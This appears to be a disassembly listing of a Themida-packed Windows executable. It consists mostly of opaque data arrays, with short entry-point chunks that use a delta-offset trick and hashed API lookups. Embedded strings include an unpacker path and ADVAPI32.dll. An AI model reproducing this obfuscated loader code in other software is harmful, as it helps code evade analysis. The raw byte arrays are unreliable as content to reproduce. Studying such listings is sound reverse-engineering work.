dd 2B9944EFh, 1980F891h, 60AF4335h, 45EE0F73h, 0DD07629Fh
dd 87D1A002h, 3F1C3DBBh, 0FA562A38h, 0ABCE8801h, 0AC6073D7h
dd 7679059Ah, 79B4A32h, 11C8603Ch, 28B2B750h, 2949440h
dd 0B58D85FBh, 6505F849h, 2967E88h, 5F04FDCh, 0E6E2C08Eh
dd 0EC8A9A97h, 30A800A5h, 52AEFC38h, 25E43100h, 64B2CC6Ch
dd 29BF68Eh, 0DDF721BFh, 3C7C2394h, 2E929680h, 0FF515Ch
dd 62902898h, 0F4EA8960h, 10882601h, 0A07FF701h, 30019039h
dd 12E96AF9h, 64F0EB87h, 0EF26C16Dh, 0C4022533h, 4057166Bh
dd 7B86C6E0h, 7081F4BAh, 0D7C8C3B8h, 0A3A0E329h, 0B0BCFEEh
dd 0C43FF1C1h, 0B2F81D98h, 89C3440Ch, 0D6C0C00Eh, 0C798F939h
dd 4A580B0Bh, 13D45292h, 0E3BA83Fh, 3E4041Ch, 8D74E4D8h
dd 8F73F500h, 0DCAA7856h, 0BF7400A0h, 0BA0FADB1h, 4738D326h
dd 4A5187A2h, 8B393042h, 4845C8h, 6590139Bh, 1C024F6Ch
dd 2BCA48ABh, 0A34788Fh, 0A74A593Dh, 2A344148h, 0C8D9E25Dh
dd 0EFEC6785h, 0D8A600BBh, 29FBA849h, 4088275Bh, 7B72A6h
dd 0C43FB615h, 3929BCC5h, 7DD06802h, 4086E3E1h, 1425DF4h
dd 0D128F3DCh, 6BADFEC4h, 608EA020h, 0A2650733h, 0C0C115F8h
dd 88CF2ACAh, 0F30E597Fh, 0E0473401h, 41F14BABh, 6B22FE49h
dd 0EC1998FAh, 0AE13EC6Eh, 98A88704h, 58C827EDh, 69530004h
dd 513C8A9Dh, 3900248Bh, 91A44243h, 0F6E5AA61h, 802C9140h
dd 21CFD58Bh, 0B81D1EECh, 0A1A8F8BBh, 5BACE201h, 5565D15Fh
dd 5C71D6h, 207A4FD6h, 0EE04CC02h, 5D4BFC32h, 0B1882490h
dd 0D5B33EEDh, 0ADACC84Ah, 6200E2FCh, 0EB3E22D0h, 260F69F4h
dd 137C3756h, 0C07CC953h, 821C33A3h, 11038FD0h, 88876E4Ah
dd 9084C538h, 0A070974Ch, 0A78010B5h, 22E50081h, 0C55CF117h
dd 8D009C73h, 85FC1A87h, 5E435046h, 92403025h, 0AA0188D9h
dd 62BE2389h, 0A032762Ah, 7F59B12h, 0C00CCA80h, 21BAF33Fh
dd 90524B2Dh
dd 6A6230h, 0BF44E6AAh, 47405697h, 141B651Dh, 2131A43h
dd 51B6D8h, 6E3D0111h, 305A4326h, 41365001h, 0F1B62D02h
dd 43385EEAh, 97D8DAA9h, 0EF25A6AEh, 16B8A287h, 0D0E675h
dd 0A085B60Ch, 5DE58A72h, 6481F400h, 146BFD11h, 0C8AE0F44h
dd 7055A60h, 0D314C1ECh, 80443C87h, 0F31B594h, 9E240001h
dd 99FFF1C8h, 0A14F269Fh, 16B68040h, 53EEE1h, 0E982C8FBh
dd 8B870EE3h, 48C71A2Eh, 2DE2DA02h, 0DF34E3F6h, 610CD8F7h
dd 780D00F0h, 9614115h, 0C9005C5h, 0F571D1Fh, 48A04B92h
dd 4A12009Bh, 0C6395DE4h, 83952338h, 0C803C530h, 5F1549h
dd 513F0132h, 35600EE9h, 0F577C808h, 0B180382Ah, 48C74933h
dd 8C007481h, 42D301ABh, 0F615865h, 0EBF871E2h, 0E4FFB5E0h
dd 59004A36h, 2045936Ah, 951A3D8Ah, 0EB986810h, 4804F258h
dd 144B26FBh, 0C3C62A62h, 44301134h, 98FF2719h, 26A1B328h
dd 123D97CDh, 0E4500046h, 2A844D24h, 8E87CCB1h, 0C29228D3h
dd 2C5AA2h, 0C7B299CFh, 562E6068h, 2E3CE44Ch, 0C300FCB7h
dd 4DC5441Ch, 3C5A131Bh, 0E4E4C86Dh, 7AE60400h, 0F0D3609Bh
dd 1B57142h, 59801C11h, 2EEF85D1h, 7C5A3420h, 84AA12F8h
dd 8608018Bh, 7C82EF0Eh, 589888F0h, 1008230h, 5C56F3BBh
dd 266A1408h, 12946E03h, 4BFD0051h, 581C542h, 9045E22Fh
dd 723130h, 0DABEFF46h, 30D2ADF7h, 68233F24h, 0DC646C40h
dd 2457FD6h, 0E172262Ch, 0EC7E503Dh, 0C276BA40h, 0F07E0379h
dd 9BCE2493h, 919DA825h, 6B0C99FCh, 29CC010Fh, 0C283852Ch
dd 0E49034B8h, 1251AD80h, 89ED825h, 438C3881h, 0EDC4EF89h
dd 335439A6h, 0D5286101h, 0E019D4BCh, 84D8F9h, 812475A0h
dd 0A17660DDh, 4C909100h, 0BD0343D0h, 63262746h, 15053044h
dd 10FAF01Fh, 0D753C4C0h, 983178C6h, 7EA90060h, 1CB18F30h
dd 8E488623h, 1D396356h, 0E1978882h, 22280441h, 0C8581A42h
dd 5D00EFBCh, 0B70993D8h, 3D871C18h, 80CF4823h, 0C89C0314h
dd 9384B5Ch, 0E4F44C22h, 2E690050h, 0F5A5C6EAh, 8095FD6Eh
dd 0B994B883h, 0F2F00758h, 292A048Ah, 21330011h, 38073BDCh
dd 0EF420915h, 0F6C7C6Bh, 1932306h, 0D2CC004h, 1087D73h
dd 8A3E96BBh, 0F4C8FA09h, 0CC2F5C8Dh, 0B6C947C0h, 45F0A777h
dd 4009AE6h, 21D96044h, 9C1050Dh, 61E850F4h, 0E9E6F444h
dd 19BADD27h, 0C4797188h, 0E4902007h, 38A140ABh, 0D07F1CDh
dd 0D673E0D5h, 36308089h, 274A642Fh, 0B84437B1h, 36A1D3Fh
dd 0D3F5F6FAh, 9755E895h, 515B0A1Bh, 1D46CDEh, 5E6E3A01h
dd 0D1E07030h, 0E5921917h, 0DD13411Dh, 0C4230892h, 0D7482CBCh
dd 0FD68004Ch, 0E1B61FF4h, 0CD4E571Fh, 67B71600h, 38C15DCFh
dd 0B08972EBh, 0C800F634h, 30484329h, 0B21DCA8h, 4FB4Ch
dd 0E0EE4E01h, 34AE45Dh, 0D5F2AF88h, 2FD2053h, 0B003D3F8h
dd 5000CCD1h, 0E326C61Ah, 2FF6E4Eh, 8050ACB2h, 204FBA22h
dd 0FB1F00E5h, 64EFCC49h, 0EC0BD25Dh, 0E4BE355Fh, 0A64500ACh
dd 4D8482F8h, 3F003C37h, 0EDFF813Bh, 1D1A9576h, 0B022FD26h
dd 755542F9h, 3CD7963Dh, 4F8B8103h, 72765950h, 2704A260h
dd 1C90A0B2h, 0E507364Bh, 33698326h, 46BF7070h, 411B0A30h
dd 0A644D2B4h, 0A88E0B23h, 77F71B00h, 107980Ch, 6790D944h
dd 655E0F11h, 0C21F5C63h, 0C3FA8102h, 0F045ECA0h, 0B02C264Ah
dd 3026D9E9h, 3001BF00h, 0EA873FEEh, 0F5C0F9Bh, 0FEE07B31h
dd 5DBCD9F6h, 0EF62E10Eh, 8F698348h, 0FBAC07Ah, 0B8F603A1h
dd 78191438h, 0D15086E0h, 0DD338300h, 5EBBB982h, 1B641ED7h
dd 41A1C054h, 8B867BC5h, 14D0FA00h, 69F97DD4h, 395E30ADh
dd 0C8A7C429h, 0BFEA4F03h, 1E1E90EEh, 0AD727CAh, 5F01CC53h
dd 6CFFFFh, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53BC74: ; CODE XREF: start:loc_4E0265j
; DATA XREF: start:loc_4E0086o
jmp loc_53EF15
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 71h, 0Bh, 32h
dd 1Dh, 3 dup(0)
dd 53DC0100h, 3 dup(0)
dd 0E7C65700h, 77h, 0E7A13F00h, 77h, 10h dup(0)
dd 10BC7400h, 0FAh, 0
dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
dd 9FA037h, 448BE0FFh, 0E0FF0424h, 13h dup(0)
dd 57C73900h, 4 dup(0)
dd 1BC00000h, 200h, 40000000h, 2 dup(0)
dd 106400h, 2 dup(0)
dd 9E0A9A00h, 2 dup(0)
dd 0D1F3FF00h, 5Fh, 0
dd 9FA00F00h, 592B5500h, 7 dup(0)
dd 0DD000000h, 9FA00F77h, 19h dup(0)
dd 62F000h, 0FFFFDE00h, 0FFh, 4 dup(0)
dd 53D43E00h, 0
dd 60B000h, 2 dup(0)
dd 0D800h, 0
dd 0FE030400h, 7Fh, 0
dd 58111800h, 0
dd 9FA00F00h, 0B1F34500h, 0E6000000h, 77h, 7 dup(0)
dd 0AAFFFF00h, 3Ch, 48F90400h, 22F2h, 53F51B00h, 5 dup(0)
dd 5B0E8F00h, 0
dd 22CCFD00h, 0FC098204h, 946D31F8h, 9, 2 dup(0)
dd 58031000h, 2 dup(0)
dd 0FFFFFF00h, 0FFh, 3 dup(0)
dd 6B3D00h, 0Bh dup(0)
dd 8D2F00h, 0F5000000h, 77h, 73655200h, 74726174h, 2E707041h
dd 657865h, 4 dup(0)
dd 57A6B900h, 6A6000h, 53h, 2 dup(0)
dd 0FF8C1C00h, 0FFh, 0
dd 56D3EA00h, 0DD59F000h, 53EE3577h, 2 dup(0)
dd 9F229200h, 0
dd 0E82CFC00h, 77h, 2 dup(0)
dd 0FE030400h, 7Fh, 0
dd 0AE386A00h, 5643CCh, 9F949900h, 59298F00h, 13E800h
dd 2 dup(0)
dd 56FAC400h, 4 dup(0)
dd 0A1B13400h, 3 dup(0)
dd 73E900h, 2 dup(0)
dd 0E75CB500h, 0FB5E277h, 388Ah, 592BB200h, 4 dup(0)
dd 9F314500h, 0
dd 5753BB00h, 3 dup(0)
dd 0FE90BA00h, 7Fh, 4 dup(0)
dd 9FFA5600h, 5 dup(0)
dd 143400h, 0C3CA8C00h, 9F70C43Bh, 5 dup(0)
dd 7F3F000h, 2 dup(0)
dd 0E776CD00h, 77h, 0
dd 12FFF000h, 0
dd 0BFFFB000h, 2A08001h, 400h, 0A022D800h, 6 dup(0)
dd 21698B00h, 3Eh, 3 dup(0)
dd 39DBEE00h, 0FDh, 3Bh dup(0)
dd 11F21500h, 93h, 4 dup(0)
dd 53E48500h, 2 dup(0)
dd 142B5D00h, 57CBF01Ah, 0E0h, 0FE030400h, 7Fh, 0
dd 5A3CF000h, 3 dup(0)
dd offset dword_40E994+16Ch
dd 9 dup(0)
dd 0DD5ECC00h, 77h, 0
dd 5A29EA00h, 24242400h, 24h, 0AC00h, 2 dup(0)
dd 0FE03A200h, 7Fh, 5 dup(0)
dd 9F69DD00h, 3 dup(0)
dd 5AD24400h, 9ED55400h, 9 dup(0)
dd 5753BB00h, 0
dd 100h, 8Bh dup(0)
dd 21212100h, 66821h, 57862F00h, 0Bh dup(0)
dd 9F70C400h, 4 dup(0)
dd 5B1B3700h, 2 dup(0)
dd 0FFFFFB00h, 0FFh, 0
dd 9F8C6B00h, 2 dup(0)
dd 0A19BAC00h, 7 dup(0)
dd 1FCFC00h, 80h, 4 dup(0)
dd 57A25800h, 2 dup(0)
dd 263E0300h, 44h, 200h, 0Bh dup(0)
dd 100000h, 200h, 56C4ED00h, 5 dup(0)
dd 57ACB700h, 0
dd 9F53BB00h, 4 dup(0)
dd 0A940EE00h, 0FFh, 3 dup(0)
dd 0A800h, 2 dup(0)
dd 6A060800h, 0FFFFFF00h, 0FFh, 5 dup(0)
dd 88DC9100h, 7Bh, 0Fh dup(0)
dd 56D3EA00h, 2 dup(0)
dd 710800h, 12h dup(0)
dd 0B5CC00h, 6 dup(0)
dd 0E7796300h, 77h, 2 dup(0)
dd 6E0A6900h, 70h, 4 dup(0)
dd 2B1E5700h, 40000008h, 2, 5B05AF00h, 0
dd 5721F200h, 0
dd 223E800h, 5 dup(0)
dd 5A2B1500h, 6 dup(0)
dd 22FE800h, 0FE030400h, 7Fh, 0
dd 938C8400h, 30h, 0
dd 7A830000h, 36h, 24h dup(0)
dd 0F52E0F00h, 77h, 5 dup(0)
dd 60962300h, 0E793EFFFh, 0AE5FF877h, 57AAC000h, 6 dup(0)
dd 990A0000h, 0A399956Ah, 57303000h, 5FFFB000h, 1, 0
dd 0FFA56C00h, 0FFh, 3 dup(0)
dd 0B6000000h, 0
dd 12FEF000h, 2 dup(0)
dd 9759EA00h, 0
dd 22222200h, 22222222h, 22h, 3 dup(0)
dd 0FFFFFF00h, 0FFh, 3 dup(0)
dd 97E900h, 53BCF900h, 6 dup(0)
dd 12FF6000h, 0
dd 0FE030400h, 7Fh, 0FFFFFF00h, 7Fh, 2 dup(0)
dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 80h dup(0)
dd 9F8C0A00h, 0
dd 22200h, 0Ah dup(0)
dd 486CB800h, 2, 2 dup(0)
dd 498D8D00h, 0A6h, 5 dup(0)
dd 55597400h, 3886h, 2 dup(0)
dd 56F86B00h, 0DCB6AA00h, 6Ch, 3 dup(0)
dd offset dword_500044+0BCh
dd 0
dd 0D153BB00h, 0Fh, 6B3D00h, 0
dd 11111100h, 11h, 2 dup(0)
dd 56ED9600h, 0
dd 0FE030400h, 7Fh, 0
dd 57915000h, 0Ah dup(0)
dd 572BDE00h, 6 dup(0)
dd 57002300h, 6 dup(0)
dd 263E0300h, 44h, 3 dup(0)
dd 0A023E800h, 3 dup(0)
dd 0F7F8C900h, 0ECh, 8 dup(0)
dd 1FCFC00h, 58637980h, 33333300h, 2 dup(33333333h), 0BFEAF033h
dd 77h, 0
dd 0FE030400h, 7Fh, 3 dup(0)
dd 0FFFF5000h, 0FFh, 2 dup(0)
dd 0A000h, 0
dd 0A063C300h, 0B6h, 2 dup(0)
dd 5B37EB00h, 0
dd 0AE386A00h, 0C530DFCCh, 0A9h, 0
dd 9F69DD00h, 0A3A5E700h, 9F69DD00h, 2 dup(0)
dd 0A5625B00h, 6, 4 dup(0)
dd 7A8AD400h, 58h, 5 dup(0)
dd 56D3EA00h, 3 dup(0)
dd 9F9C3700h, 3 dup(0)
dd 0A38D5300h, 2 dup(0)
dd 5B04EF00h, 53D43D00h, 7 dup(0)
dd 1FECF500h, 4, 4047400h, 57961A05h, 0B41B4000h, 76h
dd 109C00h, 12FFA400h, 0A01DC800h, 3 dup(0)
dd 53FD7700h, 0F800h, 7 dup(0)
dd 0B0D92F00h, 0FEh, 0A7DE6100h, 0FFh, 3 dup(0)
dd 0F325D800h, 444h, 0
dd 5A778B00h, 6 dup(0)
dd 0AFF5CE00h, 0F5h, 2 dup(0)
dd 9FA03700h, 4 dup(0)
dd 0D4C96A00h, 77h, 12FF6000h, 6 dup(0)
dd 3C2B8D00h, 2Fh, 2 dup(0)
dd 0D4C96A00h, 77h, 0EC00h, 3 dup(0)
dd 4DE00000h, 3 dup(0)
dd 35B00h, 0
dd 11F21500h, 93h, 59000000h, 2, 8 dup(0)
dd 12FFE000h, 2 dup(0)
dd 0DBCB3B00h, 5300231Dh, 3 dup(0)
dd 3800h, 57D8B500h, 0Ah dup(0)
dd 6A6000h, 73FE2053h, 3Bh, 6 dup(0)
dd 0E6000000h, 77h, 0
dd 0A7CA500h, 0Ch, 5A78F200h, 0
dd 0A800h, 5 dup(0)
dd 5747B100h, 2 dup(0)
dd 76080800h, 2Ah, 3 dup(0)
dd 0A6F79D00h, 3Ch, 0A5C68A00h, 0FFh, 13E800h, 7 dup(0)
dd 0A702B900h, 0ADB1CAFFh, 8C08EB00h, 74D8h, 3DCD1800h
dd 12FFC401h, 0
dd 0C2D86C00h, 0CAh, 0
dd 0F7EBB300h, 0F972377h, 4Ch, 0Bh dup(0)
dd 12FEF000h, 2 dup(0)
dd 92815F00h, 0EBA6E992h, 9F69DD77h, 2 dup(0)
dd 0C530DF00h, 0A9h, 600h, 0B1h dup(0)
dd 0E7A83700h, 77h, 0E0005000h, 0FDh, 4 dup(0)
dd 1D110F00h, 67h, 36363600h, 36h, 0Bh dup(0)
dd 5A28D500h, 5 dup(0)
dd 22200h, 0
dd 20DA3100h, 24h, 6Bh dup(0)
dd 6B3D00h, 1Ch dup(0)
dd 12FF5400h, 0Dh dup(0)
dd 0BF003E00h, 4748EC00h, 6Eh, 9C00h, 2 dup(0)
dd 100h, 991E6B00h, 56D3EAB5h, 59FDDD00h, 0A400h, 4 dup(0)
dd 6B3D00h, 0FE030400h, 0DD23D77Fh, 0A0156077h, 2 dup(0)
dd 5B000000h, 2, 0Dh dup(0)
dd 5A565600h, 0
dd 0FE030400h, 7Fh, 9E000000h, 0E72100h, 5 dup(0)
dd 0FE030400h, 7Fh, 40EB00h, 3 dup(0)
dd 0ECF5FD00h, 0AFA1FE5Dh, 0FB5E200h, 8Ah, 0
dd 0FFA7CC00h, 0E80FFh, 3 dup(0)
dd 5A3DFD00h, 0E805D800h, 77h, 3900h, 0CA8CA200h, 5882ED19h
dd 0F5180B00h, 77h, 7 dup(0)
dd 25A34100h, 56ED4EF9h, 9 dup(0)
dd 5B892C00h, 3 dup(0)
dd 0FE030400h, 7Fh, 0FFFDFE00h, 0E82160FFh, 77h, 9F8C0A00h
dd 4 dup(0)
dd 0FF2BFA00h, 2Dh, 2 dup(0)
dd 59EEEA00h, 5AC0CA00h, 0
dd 0FB5E200h, 1572738Ah, 96163795h, 3CD10638h, 95h, 5 dup(0)
dd 58E38900h, 7 dup(0)
dd 0FFFFF400h, 77h, 4 dup(0)
dd 6B3D00h, 6 dup(0)
dd 0E001400h, 0
dd 53E5B100h, 5A9DA500h, 0F9h, 3 dup(0)
dd 5861E900h, 8 dup(0)
dd 5F95FF00h, 100h, 0D168ED00h, 3, 8 dup(0)
dd 9F09F700h, 0
dd 5B1B5B00h, 4 dup(0)
dd 0A5C38B00h, 1Eh, 2 dup(0)
dd 0E6D70600h, 0E8279077h, 77h, 53F51B00h, 0A8754E00h
dd 70FFh, 5 dup(0)
dd 53DECD00h, 0
dd 4FFFB000h, 0E8061801h, 0AC1FB377h, 0FFh, 3 dup(0)
dd 5AD24400h, 4 dup(0)
dd 59F0C700h, 4 dup(0)
dd 5A6A1000h, 9F2BDE00h, 0
dd 0D153BB00h, 0Fh, 4 dup(0)
dd 82430D00h, 551B58DCh, 0FFh, 0FF264100h, 9F5E2EFFh, 5 dup(0)
dd 56FC4200h, 65685400h, 6164696Dh, 1Ch dup(0)
dd 747B800h, 5Eh, 2 dup(0)
dd 0BFF9FF00h, 4Bh, 2 dup(0)
dd 100h, 4 dup(0)
dd 6B08EB00h, 9361F354h, 1Eh, 5D441B00h, 0B9h, 100h, 9C6FB000h
dd 56F85136h, 0BFFFFF00h, 7 dup(0)
dd 100h, 41A62400h, 0C6h, 2 dup(0)
dd 100h, 1Bh dup(0)
dd 0D38DFD00h, 40h, 0E7A83700h, 5ED23077h, 1, 4 dup(0)
dd 0FF93EC00h, 12FFA4FFh, 0
dd 57303000h, 200h, 4 dup(0)
dd 6B3D00h, 0
dd 0E7A83700h, 177h, 5A6A1000h, 3 dup(0)
dd 0FAFFFE00h, 0FFh, 0Ch dup(0)
dd 584C1600h, 9E0FE600h, 0FE030400h, 5800007Fh, 0
dd 0A7B2C000h, 10h, 4 dup(0)
dd 22200h, 2 dup(0)
dd 0A5D72B00h, 5A0000FFh, 2, 0
dd 5AF8E600h, 0
dd 0FE030400h, 7Fh, 0
dd 0FE030400h, 9F915B7Fh, 5 dup(0)
dd 0DD189A00h, 77h, 5 dup(0)
dd 5CFF4000h, 4 dup(0)
dd 0B087C000h, 9F939300h, 0
dd 578C0600h, 0
dd 0E50000h, 3 dup(0)
dd 3A000h, 2 dup(0)
dd 3F9F800h, 0Ah dup(0)
dd 5A270600h, 0Ah dup(0)
dd 72D000h, 2 dup(0)
dd 0E75CB500h, 77h, 0
dd 0FA090C00h, 7978EB7Fh, 5Bh, 0
dd 0FE030400h, 7Fh, 8 dup(0)
dd 0FFFFFF00h, 0FFh, 4 dup(0)
dd 0A2E9D900h, 7Bh, 5 dup(0)
dd 5A8D1E00h, 4 dup(0)
dd 800300h, 2 dup(0)
dd 0FF000000h, 0FFh, 2 dup(0)
dd 12FF5400h, 3 dup(0)
dd 6A6000h, 7853h, 0A99F1900h, 0EF4254FFh, 5, 3 dup(0)
dd 0A34B3000h, 0F6h, 2 dup(0)
dd 8C00h, 0BE8D8D00h, 6Fh, 6B3D00h, 0FE030400h, 7Fh, 3 dup(0)
dd 0FE030400h, 7Fh, 5 dup(0)
dd 0D50EA800h, 0FB8D8DFBh, 8881h, 0A0156800h, 8 dup(0)
dd 56FB1400h, 2 dup(0)
dd 0A702B900h, 0A03268FFh, 4 dup(0)
dd 1C53D00h, 0
dd 59000000h, 53AFDF02h, 2 dup(0)
dd 0D3EA00h, 0FE030400h, 7Fh, 0Fh dup(0)
dd 0FFFFFF00h, 0E7A144FFh, 77h, 605FF100h, 53E075FFh, 6 dup(0)
dd 9000h, 0
dd 0BCFE7A00h, 0FDh, 2 dup(0)
dd 0EACCCC00h, 27h, 8 dup(0)
dd 625CED00h, 7Fh, 0
dd 0F5000000h, 77h, 3 dup(0)
dd 0B4A4CF00h, 8412h, 0A99F1900h, 0FFh, 0
dd 0A6C7A600h, 4FFh, 2 dup(0)
dd 592BEB00h, 0F9214000h, 14h, 0
dd 67B2E700h, 0EBh, 3 dup(0)
dd 0E83E6800h, 77h, 0
dd 1BBC00h, 12FF5400h, 2 dup(0)
dd 0A8AC4500h, 0FFh, 8000h, 2 dup(0)
dd 0D92C7700h, 55h, 5912A800h, 0
dd 0C530DF00h, 0A9h, 53F4E000h, 5763C800h, 5 dup(0)
dd 6B3D00h, 0AD51300h, 6Ch, 5 dup(0)
dd 5763C800h, 4 dup(0)
dd 57AAC000h, 7 dup(0)
dd 0C12C4600h, 0FEh, 0
dd 9FA00F00h, 7 dup(0)
dd 57693600h, 0Ah dup(0)
dd 0A5314500h, 0FFh, 4 dup(0)
dd 0C20200h, 5 dup(0)
dd 0FFBF1500h, 0FFh, 97E900h, 0
dd 22200h, 7 dup(0)
dd 5A9DA500h, 0F9h, 0E72100h, 3 dup(0)
dd 59860300h, 10E800h, 3 dup(0)
dd 3600000h, 5 dup(0)
dd 6B3D00h, 0F78D8D00h, 38CBh, 1Bh dup(0)
dd 0F4A3FD00h, 75h, 59CFD500h, 59886B83h, 3 dup(0)
dd 0AC2A3300h, 0FFh, 8 dup(0)
dd 0C2076B00h, 5Dh, 0E78B8200h, 77h, 0E7AC5E00h, 56D3EA77h
dd 59298F00h, 4 dup(0)
dd 263E0300h, 44h, 0Fh dup(0)
dd 0A0155C00h, 3 dup(0)
dd 9F3E3B00h, 15662200h, 32h, 0FE030400h, 7Fh, 0
dd 600h, 0
dd 8F1E4300h, 7Dh, 5 dup(0)
dd 592A5E00h, 0
dd 0E52BCF00h, 0FFh, 8 dup(0)
dd 5A3DFD00h, 0
dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 39h dup(0)
dd 100h, 3FC00h, 0FE030400h, 7Fh, 200h, 0DD00000h, 0F4A43500h
dd 7Fh, 5F6EDF00h, 0
dd 58022000h, 3 dup(0)
dd 0EC5400h, 80h, 4 dup(0)
dd 0FC637600h, 77h, 3 dup(0)
dd 91695E00h, 5753BBBBh, 7D100h, 0
dd 100h, 4 dup(0)
dd 0E78B8200h, 77h, 3 dup(0)
dd 0D33DE000h, 0E7A09943h, 0FE3AC477h, 583FFBFFh, 4 dup(0)
dd 9E000000h, 6 dup(0)
dd 100h, 712EF100h, 5Dh, 3 dup(0)
dd 40000C00h, 2, 3 dup(0)
dd 5A0D3400h, 9FA00F00h, 8 dup(0)
dd 2A1200h, 747B900h, 5Eh, 0
dd 605FF100h, 0FFh, 4 dup(0)
dd 7C00h, 0
dd 53D5CD00h, 0
dd offset loc_564300
dd 0E7A5FD00h, 0B5E277h, 6 dup(0)
dd 8B000000h, 2, 0A16A9300h, 0A3h, 2 dup(0)
dd 77C00h, 4 dup(0)
dd 9FA00F00h, 4 dup(0)
dd 0FF91A000h, 0FFh, 0
dd 5744FD00h, 5 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 2 dup(200h), 0
dd 1900h, 57E79C00h, 5753CD00h, 9F6CB000h, 0
dd 4D5C1500h, 0B920F006h, 6 dup(0)
dd 0F78D1C00h, 7Fh, 3 dup(0)
dd 5A3A2400h, 2 dup(0)
dd 0CE800h, 2 dup(0)
dd 0FE030400h, 0FFDB17Fh, 92h, 9D6CE100h, 0D9606B80h, 0Fh
dd 2 dup(0)
dd 59BD6900h, 7 dup(0)
dd 5A4B8300h, 0Ch dup(0)
dd 0E1FC3400h, 27h, 2 dup(0)
dd 8EB00h, 5 dup(0)
dd 0E82FE800h, 77h, 2Ch dup(0)
dd 436B9200h, 19h, 4 dup(0)
dd 2D343000h, 31h, 6 dup(0)
dd 9F69DD00h, 0Ah dup(0)
dd 0E8216800h, 6F27A77h, 67h, 3 dup(0)
dd 57846900h, 0
dd 53FA7200h, 5 dup(0)
dd 0FE030400h, 7Fh, 0FE030400h, 7Fh, 0Ah dup(0)
dd 0FE030400h, 7Fh, 0
dd 2209FC00h, 0D8h, 0
dd 40100000h, 5 dup(0)
dd 5753BB00h, 3CC0000h, 3 dup(0)
dd 0A8FFDD00h, 0FFh, 5892E100h, 4 dup(0)
dd 0FFF81800h, 0FFh, 3 dup(0)
dd 0D4000000h, 3A59FD77h, 49h, 20DA3100h, 24h, 6 dup(0)
dd 0FE030400h, 7Fh, 8 dup(0)
dd 0E7614D00h, 77h, 0
dd 58830200h, 3 dup(0)
dd 1E5700h, 0
dd 100h, 5BFFFC00h, 4 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 16A4900h, 60h, 4 dup(0)
dd 0E7A14400h, 77h, 3 dup(0)
dd 1000h, 3 dup(0)
dd 56602C00h, 0
dd 0EACCCC00h, 27h, 2 dup(0)
dd 0A17FD800h, 4 dup(0)
dd 9F923400h, 58F32300h, 57693600h, 5 dup(0)
dd 100h, 2 dup(0)
dd 0FE030400h, 7Fh, 3 dup(0)
dd 9EB16800h, 0
dd 100h, 0
dd 53D5CD00h, 3 dup(0)
dd 679000h, 0
dd 87CA0600h, 1E8h, 4 dup(0)
dd 28010500h, 0Ah, 5 dup(0)
dd 0C530DF00h, 0A9h, 4 dup(0)
dd 0FE030400h, 7Fh, 3 dup(0)
dd 7E800h, 3 dup(0)
dd 2EAC4500h, 9F69DDF0h, 2 dup(0)
dd 35B00h, 3 dup(0)
dd 53E48500h, 0
dd 0A1731600h, 4 dup(0)
dd 0FE030400h, 7Fh, 2 dup(0)
dd 693600h, 58000000h, 2, 26h dup(0)
dd 0FE030400h, 7Fh, 13h dup(0)
dd 5B05AF00h, 5 dup(0)
dd 45047400h, 3Eh, 486B9C00h, 2, 0FE030400h, 5700237Fh
dd 498D8D00h, 0E7C486A6h, 9E0A9A77h, 2 dup(0)
dd 5A786A00h, 9 dup(0)
dd 501A5800h, 0E3h, 9400h, 2 dup(0)
dd 0AC1B7B00h, 0FFh, 0
dd 58619A00h, 5 dup(0)
dd 7CBF00h, 7 dup(0)
dd 0E7A83700h, 77h, 2 dup(0)
dd 57D83F00h, 6 dup(0)
dd 0C530DF00h, 0A9h, 0FC098200h, 0F8h, 3 dup(0)
dd 0D38D8D00h, 56FAEC40h, 58000100h, 3 dup(0)
dd 29905100h, 5A5D285Fh, 2 dup(0)
dd 12FF5400h, 5A0D0400h, 0
dd 0A5710F00h, 0FFh, 3 dup(0)
dd 8B06A900h, 2, 0AD000000h, 0D153BB00h, 3040Fh, 0
dd 30DF00h, 2 dup(0)
dd 3B2A000h, 2B00h, 5F9C3D00h, 49h, 0BF002200h, 0A015684Bh
dd 2 dup(0)
dd 6C956000h, 5B232B97h, 0Ah dup(0)
dd 90A75500h, 0BEh, 6B3D00h, 3 dup(0)
dd 123E900h, 0
dd 57CAB700h, 3 dup(0)
dd 100h, 53002300h, 0
dd 0D2FCD600h, 79h, 0
dd 0FB5E200h, 97A7208Ah, 9825h, 5 dup(0)
dd 0FF9AC000h, 0FFh, 0
dd 0C3BBCD00h, 18h, 4 dup(0)
dd 58DD0100h, 2 dup(0)
dd 9AFB7200h, 1, 0
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_53EF15: ; CODE XREF: start:loc_53BC74j
mov eax, ebp
mov edx, esp
pusha
call $+5
pop ebp
sub ebp, 60332ABh
mov [ebp+60313F1h], edx
mov [ebp+6031B1Dh], esi
mov [ebp+6030461h], eax
cmp dword ptr [ebp+6030A71h], 0
jz short loc_53EF4D
mov ebp, eax
mov esp, edx
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
loc_53EF4D: ; CODE XREF: start+5EF2Bj
mov eax, [esp+40h+var_1C]
mov [ebp+6030C0Dh], eax
push 45h
call sub_53F001
push 783749Ah
call sub_53F047
push 0A894B25h
call sub_53F047
jmp loc_53F18B
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
db 45h
dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_53F001 proc near ; CODE XREF: start+5EF45p
var_28 = dword ptr -28h
